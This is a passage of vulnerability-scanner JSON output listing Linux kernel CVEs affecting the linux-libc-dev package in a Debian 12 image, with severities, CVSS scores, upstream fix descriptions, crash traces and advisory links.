"https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/2.0.0/BRSA-ndulvyz6hyez.toml", "https://linux.oracle.com/cve/CVE-2024-53179.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2024122719-CVE-2024-53179-2179@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-53179", "https://ubuntu.com/security/notices/USN-7379-1", "https://ubuntu.com/security/notices/USN-7379-2", "https://ubuntu.com/security/notices/USN-7380-1", "https://ubuntu.com/security/notices/USN-7381-1", "https://ubuntu.com/security/notices/USN-7382-1", "https://ubuntu.com/security/notices/USN-7513-1", "https://ubuntu.com/security/notices/USN-7513-2", "https://ubuntu.com/security/notices/USN-7513-3", "https://ubuntu.com/security/notices/USN-7513-4", "https://ubuntu.com/security/notices/USN-7513-5", "https://ubuntu.com/security/notices/USN-7514-1", "https://ubuntu.com/security/notices/USN-7515-1", "https://ubuntu.com/security/notices/USN-7515-2", "https://ubuntu.com/security/notices/USN-7522-1", "https://ubuntu.com/security/notices/USN-7523-1", "https://ubuntu.com/security/notices/USN-7524-1", "https://www.cve.org/CVERecord?id=CVE-2024-53179" ], "PublishedDate": "2024-12-27T14:15:25.307Z", "LastModifiedDate": "2026-10-30T13:17:44.72Z" }, { "VulnerabilityID": "CVE-2024-53218", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-53218", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5d1bb28cad6396e24047899476932b64bb48e8a8ebdfea6328bbcc0f1170c36a", "Title": "kernel: f2fs: fix race in concurrent f2fs_stop_gc_thread", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix race in concurrent f2fs_stop_gc_thread\n\nIn my test case, concurrent calls to f2fs shutdown report the following\nstack trace:\n\n Oops: general protection fault, probably for non-canonical address 0xc6cfff63bb5513fc: 0000 [#1] PREEMPT SMP PTI\n CPU: 0 UID: 0 PID: 678 Comm: f2fs_rep_shutdo Not tainted 6.12.0-rc5-next-20241029-g6fb2fa9805c5-dirty #85\n Call Trace:\n \u003cTASK\u003e\n ? show_regs+0x8b/0xa0\n ? __die_body+0x26/0xa0\n ? die_addr+0x54/0x90\n ? exc_general_protection+0x24b/0x5c0\n ? asm_exc_general_protection+0x26/0x30\n ? kthread_stop+0x46/0x390\n f2fs_stop_gc_thread+0x6c/0x110\n f2fs_do_shutdown+0x309/0x3a0\n f2fs_ioc_shutdown+0x150/0x1c0\n __f2fs_ioctl+0xffd/0x2ac0\n f2fs_ioctl+0x76/0xe0\n vfs_ioctl+0x23/0x60\n __x64_sys_ioctl+0xce/0xf0\n x64_sys_call+0x2b1b/0x4540\n do_syscall_64+0xa7/0x240\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nThe root cause is a race condition in f2fs_stop_gc_thread() called from\ndifferent f2fs shutdown paths:\n\n [CPU0] [CPU1]\n ---------------------- -----------------------\n f2fs_stop_gc_thread f2fs_stop_gc_thread\n gc_th = sbi-\u003egc_thread\n gc_th = sbi-\u003egc_thread\n kfree(gc_th)\n sbi-\u003egc_thread = NULL\n \u003c gc_th != NULL \u003e\n kthread_stop(gc_th-\u003ef2fs_gc_task) //UAF\n\nThe commit c7f114d864ac (\"f2fs: fix to avoid use-after-free in\nf2fs_stop_gc_thread()\") attempted to fix this issue by using a read\nsemaphore to prevent races between shutdown and remount threads, but\nit fails to prevent all race conditions.\n\nFix it by converting to write lock of s_umount in f2fs_do_shutdown().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "oracle-oval": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-53218", "https://git.kernel.org/linus/7b0033dbc48340a1c1c3f12448ba17d6587ca092%20%286.13-rc1%29", "https://git.kernel.org/stable/c/60457ed6c67625c87861f96912b4179dc2293896", "https://git.kernel.org/stable/c/794fa8792d4eacac191f1cbcc2e81b7369e4662a", "https://git.kernel.org/stable/c/7b0033dbc48340a1c1c3f12448ba17d6587ca092", "https://git.kernel.org/stable/c/c631207897a9b3d41167ceca58e07f8f94720e42", "https://linux.oracle.com/cve/CVE-2024-53218.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2024122732-CVE-2024-53218-4330@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-53218", "https://ubuntu.com/security/notices/USN-7276-1", "https://ubuntu.com/security/notices/USN-7277-1", "https://ubuntu.com/security/notices/USN-7310-1", "https://ubuntu.com/security/notices/USN-7449-1", "https://ubuntu.com/security/notices/USN-7449-2", "https://ubuntu.com/security/notices/USN-7450-1", "https://ubuntu.com/security/notices/USN-7451-1", "https://ubuntu.com/security/notices/USN-7452-1", "https://ubuntu.com/security/notices/USN-7453-1", "https://ubuntu.com/security/notices/USN-7468-1", "https://ubuntu.com/security/notices/USN-7523-1", "https://ubuntu.com/security/notices/USN-7524-1", "https://ubuntu.com/security/notices/USN-7922-1", "https://ubuntu.com/security/notices/USN-7922-2", "https://ubuntu.com/security/notices/USN-7922-3", "https://ubuntu.com/security/notices/USN-7922-4", "https://ubuntu.com/security/notices/USN-7922-5", "https://ubuntu.com/security/notices/USN-7928-1", "https://ubuntu.com/security/notices/USN-7928-2", "https://ubuntu.com/security/notices/USN-7928-3", "https://ubuntu.com/security/notices/USN-7928-4", "https://ubuntu.com/security/notices/USN-7928-5", "https://ubuntu.com/security/notices/USN-7938-1", "https://ubuntu.com/security/notices/USN-7939-1", "https://ubuntu.com/security/notices/USN-7939-2", "https://www.cve.org/CVERecord?id=CVE-2024-53218" ], "PublishedDate": "2024-12-27T14:15:29.84Z", "LastModifiedDate": "2026-06-17T08:08:37.36Z" }, { "VulnerabilityID": "CVE-2024-56538", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-56538", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:18afe3ff151bfd2289ee57d5b4e30aee01ddb71be5110e7c4fa9b1b6d6887e7e", "Title": "kernel: drm: zynqmp_kms: Unplug DRM device before removal", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm: zynqmp_kms: Unplug DRM device before removal\n\nPrevent userspace accesses to the DRM device from causing\nuse-after-frees by unplugging the device before we remove it. This\ncauses any further userspace accesses to result in an error without\nfurther calls into this driver's internals.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-56538", "https://git.kernel.org/linus/2e07c88914fc5289c21820b1aa94f058feb38197%20%286.13-rc1%29", "https://git.kernel.org/stable/c/0c8ca1da81e5a9787284eb84c0c6ae927f063c15", "https://git.kernel.org/stable/c/2e07c88914fc5289c21820b1aa94f058feb38197", "https://git.kernel.org/stable/c/4fb97432e28a7e136b2d76135d50e988ada8e1af", "https://git.kernel.org/stable/c/692f52aedccbf79b212a1e14e3735192b4c24a7d", "https://git.kernel.org/stable/c/a17b9afe58c474657449cf87e238b1788200576b", "https://linux.oracle.com/cve/CVE-2024-56538.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2024122726-CVE-2024-56538-379d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-56538", "https://ubuntu.com/security/notices/USN-7276-1", "https://ubuntu.com/security/notices/USN-7277-1", "https://ubuntu.com/security/notices/USN-7310-1", "https://ubuntu.com/security/notices/USN-7449-1", "https://ubuntu.com/security/notices/USN-7449-2", "https://ubuntu.com/security/notices/USN-7450-1", "https://ubuntu.com/security/notices/USN-7451-1", "https://ubuntu.com/security/notices/USN-7452-1", "https://ubuntu.com/security/notices/USN-7453-1", "https://ubuntu.com/security/notices/USN-7468-1", "https://ubuntu.com/security/notices/USN-7523-1", "https://ubuntu.com/security/notices/USN-7524-1", "https://ubuntu.com/security/notices/USN-8033-1", "https://ubuntu.com/security/notices/USN-8033-2", "https://ubuntu.com/security/notices/USN-8033-3", "https://ubuntu.com/security/notices/USN-8033-4", "https://ubuntu.com/security/notices/USN-8033-5", "https://ubuntu.com/security/notices/USN-8033-6", "https://ubuntu.com/security/notices/USN-8033-7", "https://ubuntu.com/security/notices/USN-8033-8", "https://ubuntu.com/security/notices/USN-8034-1", "https://ubuntu.com/security/notices/USN-8034-2", "https://ubuntu.com/security/notices/USN-8141-1", "https://ubuntu.com/security/notices/USN-8163-1", "https://ubuntu.com/security/notices/USN-8163-2", "https://ubuntu.com/security/notices/USN-8243-1", "https://www.cve.org/CVERecord?id=CVE-2024-56538" ], "PublishedDate": "2024-12-27T14:15:33.4Z", "LastModifiedDate": "2026-10-30T13:17:46.463Z" }, { "VulnerabilityID": "CVE-2024-56775", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-56775", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:71152c93664d5cdd49fd7ff238435e19e2569bff7faa815ed7f30cbf6ede547e", "Title": "kernel: drm/amd/display: Fix handling of plane refcount", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix handling of plane refcount\n\n[Why]\nThe mechanism to backup and restore plane states doesn't maintain\nrefcount, which can cause issues if the refcount of the plane changes\nin between backup and restore operations, such as memory leaks if the\nrefcount was supposed to go down, or double frees / invalid memory\naccesses if the refcount was supposed to go up.\n\n[How]\nCache and re-apply current refcount when restoring plane states.", "Severity": "HIGH", "CweIDs": [ "CWE-401", "CWE-415" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-56775", "https://git.kernel.org/linus/27227a234c1487cb7a684615f0749c455218833a%20%286.13-rc1%29", "https://git.kernel.org/stable/c/27227a234c1487cb7a684615f0749c455218833a", "https://git.kernel.org/stable/c/8cb2f6793845f135b28361ba8e96901cae3e5790", "https://linux.oracle.com/cve/CVE-2024-56775.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2025010811-CVE-2024-56775-b841@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-56775", "https://ubuntu.com/security/notices/USN-7379-1", "https://ubuntu.com/security/notices/USN-7379-2", "https://ubuntu.com/security/notices/USN-7380-1", "https://ubuntu.com/security/notices/USN-7381-1", "https://ubuntu.com/security/notices/USN-7382-1", "https://ubuntu.com/security/notices/USN-7449-1", "https://ubuntu.com/security/notices/USN-7449-2", "https://ubuntu.com/security/notices/USN-7450-1", "https://ubuntu.com/security/notices/USN-7451-1", "https://ubuntu.com/security/notices/USN-7452-1", "https://ubuntu.com/security/notices/USN-7453-1", "https://ubuntu.com/security/notices/USN-7468-1", "https://ubuntu.com/security/notices/USN-7523-1", "https://ubuntu.com/security/notices/USN-7524-1", "https://www.cve.org/CVERecord?id=CVE-2024-56775" ], "PublishedDate": "2025-01-08T18:15:18.333Z", "LastModifiedDate": "2026-06-17T08:12:57.82Z" }, { "VulnerabilityID": "CVE-2024-57900", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-57900", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9e8f8799ca8ee24669af9d26f2f439186ecedbdd6f351aec2378f711ea56bb51", "Title": "kernel: ila: serialize calls to nf_register_net_hooks()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nila: serialize calls to nf_register_net_hooks()\n\nsyzbot found a race in ila_add_mapping() [1]\n\ncommit 031ae72825ce (\"ila: call nf_unregister_net_hooks() sooner\")\nattempted to fix a similar issue.\n\nLooking at the syzbot repro, we have concurrent ILA_CMD_ADD commands.\n\nAdd a mutex to make sure at most one thread is calling nf_register_net_hooks().\n\n[1]\n BUG: KASAN: slab-use-after-free in rht_key_hashfn include/linux/rhashtable.h:159 [inline]\n BUG: KASAN: slab-use-after-free in __rhashtable_lookup.constprop.0+0x426/0x550 include/linux/rhashtable.h:604\nRead of size 4 at addr ffff888028f40008 by task dhcpcd/5501\n\nCPU: 1 UID: 0 PID: 5501 Comm: dhcpcd Not tainted 6.13.0-rc4-syzkaller-00054-gd6ef8b40d075 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\nCall Trace:\n \u003cIRQ\u003e\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xc3/0x620 mm/kasan/report.c:489\n kasan_report+0xd9/0x110 mm/kasan/report.c:602\n rht_key_hashfn include/linux/rhashtable.h:159 [inline]\n __rhashtable_lookup.constprop.0+0x426/0x550 include/linux/rhashtable.h:604\n rhashtable_lookup include/linux/rhashtable.h:646 [inline]\n rhashtable_lookup_fast include/linux/rhashtable.h:672 [inline]\n ila_lookup_wildcards net/ipv6/ila/ila_xlat.c:127 [inline]\n ila_xlat_addr net/ipv6/ila/ila_xlat.c:652 [inline]\n ila_nf_input+0x1ee/0x620 net/ipv6/ila/ila_xlat.c:185\n nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline]\n nf_hook_slow+0xbb/0x200 net/netfilter/core.c:626\n nf_hook.constprop.0+0x42e/0x750 include/linux/netfilter.h:269\n NF_HOOK include/linux/netfilter.h:312 [inline]\n ipv6_rcv+0xa4/0x680 net/ipv6/ip6_input.c:309\n __netif_receive_skb_one_core+0x12e/0x1e0 net/core/dev.c:5672\n __netif_receive_skb+0x1d/0x160 net/core/dev.c:5785\n process_backlog+0x443/0x15f0 net/core/dev.c:6117\n __napi_poll.constprop.0+0xb7/0x550 net/core/dev.c:6883\n napi_poll net/core/dev.c:6952 [inline]\n net_rx_action+0xa94/0x1010 net/core/dev.c:7074\n handle_softirqs+0x213/0x8f0 kernel/softirq.c:561\n __do_softirq kernel/softirq.c:595 [inline]\n invoke_softirq kernel/softirq.c:435 [inline]\n __irq_exit_rcu+0x109/0x170 kernel/softirq.c:662\n irq_exit_rcu+0x9/0x30 kernel/softirq.c:678\n instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1049 [inline]\n sysvec_apic_timer_interrupt+0xa4/0xc0 arch/x86/kernel/apic/apic.c:1049", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-57900", "https://git.kernel.org/linus/260466b576bca0081a7d4acecc8e93687aa22d0e%20%286.13-rc6%29", "https://git.kernel.org/stable/c/1638f430f8900f2375f5de45508fbe553997e190", "https://git.kernel.org/stable/c/17e8fa894345e8d2c7a7642482267b275c3d4553", "https://git.kernel.org/stable/c/260466b576bca0081a7d4acecc8e93687aa22d0e", "https://git.kernel.org/stable/c/3d1b63cf468e446b9feaf4e4e73182b9cc82f460", "https://git.kernel.org/stable/c/ad0677c37c14fa28913daea92d139644d7acf04e", "https://git.kernel.org/stable/c/d3017895e393536b234cf80a83fc463c08a28137", "https://git.kernel.org/stable/c/eba25e21dce7ec70e2b3f121b2f3a25a4ec43eca", "https://linux.oracle.com/cve/CVE-2024-57900.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html", "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html", "https://lore.kernel.org/linux-cve-announce/2025011515-CVE-2024-57900-72ad@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-57900", "https://ubuntu.com/security/notices/USN-7379-1", "https://ubuntu.com/security/notices/USN-7379-2", "https://ubuntu.com/security/notices/USN-7380-1", "https://ubuntu.com/security/notices/USN-7381-1", "https://ubuntu.com/security/notices/USN-7382-1", "https://ubuntu.com/security/notices/USN-7387-1", "https://ubuntu.com/security/notices/USN-7387-2", "https://ubuntu.com/security/notices/USN-7387-3", "https://ubuntu.com/security/notices/USN-7388-1", "https://ubuntu.com/security/notices/USN-7389-1", "https://ubuntu.com/security/notices/USN-7390-1", "https://ubuntu.com/security/notices/USN-7391-1", "https://ubuntu.com/security/notices/USN-7392-1", "https://ubuntu.com/security/notices/USN-7392-2", "https://ubuntu.com/security/notices/USN-7392-3", "https://ubuntu.com/security/notices/USN-7392-4", "https://ubuntu.com/security/notices/USN-7393-1", "https://ubuntu.com/security/notices/USN-7401-1", "https://ubuntu.com/security/notices/USN-7407-1", "https://ubuntu.com/security/notices/USN-7413-1", "https://ubuntu.com/security/notices/USN-7421-1", "https://ubuntu.com/security/notices/USN-7458-1", "https://ubuntu.com/security/notices/USN-7459-1", "https://ubuntu.com/security/notices/USN-7459-2", "https://ubuntu.com/security/notices/USN-7463-1", "https://ubuntu.com/security/notices/USN-7513-1", "https://ubuntu.com/security/notices/USN-7513-2", "https://ubuntu.com/security/notices/USN-7513-3", "https://ubuntu.com/security/notices/USN-7513-4", "https://ubuntu.com/security/notices/USN-7513-5", "https://ubuntu.com/security/notices/USN-7514-1", "https://ubuntu.com/security/notices/USN-7515-1", "https://ubuntu.com/security/notices/USN-7515-2", "https://ubuntu.com/security/notices/USN-7522-1", "https://ubuntu.com/security/notices/USN-7523-1", "https://ubuntu.com/security/notices/USN-7524-1", "https://ubuntu.com/security/notices/USN-7539-1", "https://ubuntu.com/security/notices/USN-7540-1", "https://www.cve.org/CVERecord?id=CVE-2024-57900" ], "PublishedDate": "2025-01-15T13:15:14.633Z", "LastModifiedDate": "2026-06-17T08:14:10.77Z" }, { "VulnerabilityID": "CVE-2024-57982", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-57982", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:af647a1220f31c4159e0ed9868b21886d40f3a020ca6665c4be2170e4801b7f9", "Title": "kernel: xfrm: state: fix out-of-bounds read during lookup", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: state: fix out-of-bounds read during lookup\n\nlookup and resize can run in parallel.\n\nThe xfrm_state_hash_generation seqlock ensures a retry, but the hash\nfunctions can observe a hmask value that is too large for the new hlist\narray.\n\nrehash does:\n rcu_assign_pointer(net-\u003exfrm.state_bydst, ndst) [..]\n net-\u003exfrm.state_hmask = nhashmask;\n\nWhile state lookup does:\n h = xfrm_dst_hash(net, daddr, saddr, tmpl-\u003ereqid, encap_family);\n hlist_for_each_entry_rcu(x, net-\u003exfrm.state_bydst + h, bydst) {\n\nThis is only safe in case the update to state_bydst is larger than\nnet-\u003exfrm.xfrm_state_hmask (or if the lookup function gets\nserialized via state spinlock again).\n\nFix this by prefetching state_hmask and the associated pointers.\nThe xfrm_state_hash_generation seqlock retry will ensure that the pointer\nand the hmask will be consistent.\n\nThe existing helpers, like xfrm_dst_hash(), are now unsafe for RCU side,\nadd lockdep assertions to document that they are only safe for insert\nside.\n\nxfrm_state_lookup_byaddr() uses the spinlock rather than RCU.\nAFAICS this is an oversight from back when state lookup was converted to\nRCU, this lock should be replaced with RCU in a future patch.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-57982", "https://git.kernel.org/linus/e952837f3ddb0ff726d5b582aa1aad9aa38d024d%20%286.14-rc1%29", "https://git.kernel.org/stable/c/80610185e9dd2ef7c0a4818a47390a8655b3dc27", "https://git.kernel.org/stable/c/a16871c7832ea6435abb6e0b58289ae7dcb7e4fc", "https://git.kernel.org/stable/c/b86dc510308d7a8955f3f47a4fea4bef887653e4", "https://git.kernel.org/stable/c/dd4c2a174994238d55ab54da2545543d36f4e0d0", "https://git.kernel.org/stable/c/e952837f3ddb0ff726d5b582aa1aad9aa38d024d", "https://linux.oracle.com/cve/CVE-2024-57982.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2025022635-CVE-2024-57982-c76a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-57982", "https://ubuntu.com/security/notices/USN-7521-1", "https://ubuntu.com/security/notices/USN-7521-2", "https://ubuntu.com/security/notices/USN-7521-3", "https://ubuntu.com/security/notices/USN-7651-1", "https://ubuntu.com/security/notices/USN-7651-2", "https://ubuntu.com/security/notices/USN-7651-3", "https://ubuntu.com/security/notices/USN-7651-4", "https://ubuntu.com/security/notices/USN-7651-5", "https://ubuntu.com/security/notices/USN-7651-6", "https://ubuntu.com/security/notices/USN-7652-1", "https://ubuntu.com/security/notices/USN-7653-1", "https://ubuntu.com/security/notices/USN-7737-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2024-57982" ], "PublishedDate": "2025-02-27T02:15:11.397Z", "LastModifiedDate": "2026-10-30T13:17:49.7Z" }, { "VulnerabilityID": "CVE-2025-10263", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-10263", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0ff6cd9ca3631e96e86ed59445d0fb70b236218bc46284867051b5e2e2a862a7", "Title": "kernel: Arm Processors: Privilege escalation or information disclosure via writes to higher exception level resources", "Description": "Arm C1-Ultra, C1-Premium, Neoverse V3 \u0026 V3AE, Neoverse V2, Neoverse V1, Neoverse-N2, Neoverse-N1, Cortex-X925, Cortex-X4, Cortex-X3, Cortex-X2, Cortex-X1 \u0026 X1C, Cortex-A710, Cortex-A78, A78AE \u0026 A78C, Cortex-A77, Cortex-A76 \u0026 A76A may allow writes to resources owned by a higher exception level.", "Severity": "HIGH", "CweIDs": [ "CWE-362", "CWE-266" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "V3Score": 8.4 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/06/09/13", "http://xenbits.xen.org/xsa/advisory-493.html", "https://access.redhat.com/errata/RHSA-2026:34911", "https://access.redhat.com/errata/RHSA-2026:36018", "https://access.redhat.com/errata/RHSA-2026:36348", "https://access.redhat.com/errata/RHSA-2026:36349", "https://access.redhat.com/errata/RHSA-2026:40764", "https://access.redhat.com/errata/RHSA-2026:47248", "https://access.redhat.com/errata/RHSA-2026:49031", "https://access.redhat.com/errata/RHSA-2026:49033", "https://access.redhat.com/errata/RHSA-2026:51603", "https://access.redhat.com/errata/RHSA-2026:51604", "https://access.redhat.com/errata/RHSA-2026:51746", "https://access.redhat.com/errata/RHSA-2026:52649", "https://access.redhat.com/errata/RHSA-2026:54187", "https://access.redhat.com/errata/RHSA-2026:54205", "https://access.redhat.com/errata/RHSA-2026:54544", "https://access.redhat.com/errata/RHSA-2026:54553", "https://access.redhat.com/errata/RHSA-2026:54581", "https://access.redhat.com/errata/RHSA-2026:54599", "https://access.redhat.com/errata/RHSA-2026:55445", "https://access.redhat.com/errata/RHSA-2026:56786", "https://access.redhat.com/errata/RHSA-2026:56853", "https://access.redhat.com/errata/RHSA-2026:56911", "https://access.redhat.com/errata/RHSA-2026:60019", "https://access.redhat.com/security/cve/CVE-2025-10263", "https://bugzilla.redhat.com/2467015", "https://bugzilla.redhat.com/2467113", "https://bugzilla.redhat.com/2479832", "https://bugzilla.redhat.com/2482523", "https://bugzilla.redhat.com/2482564", "https://bugzilla.redhat.com/2482636", "https://bugzilla.redhat.com/2482660", "https://bugzilla.redhat.com/2484451", "https://bugzilla.redhat.com/2484477", "https://bugzilla.redhat.com/2486958", "https://bugzilla.redhat.com/2486982", "https://bugzilla.redhat.com/show_bug.cgi?id=2467015", "https://bugzilla.redhat.com/show_bug.cgi?id=2467113", "https://bugzilla.redhat.com/show_bug.cgi?id=2479832", "https://bugzilla.redhat.com/show_bug.cgi?id=2482523", "https://bugzilla.redhat.com/show_bug.cgi?id=2482564", "https://bugzilla.redhat.com/show_bug.cgi?id=2482636", "https://bugzilla.redhat.com/show_bug.cgi?id=2482660", "https://bugzilla.redhat.com/show_bug.cgi?id=2484451", "https://bugzilla.redhat.com/show_bug.cgi?id=2484477", "https://bugzilla.redhat.com/show_bug.cgi?id=2486958", "https://bugzilla.redhat.com/show_bug.cgi?id=2486982", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43112", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46227", 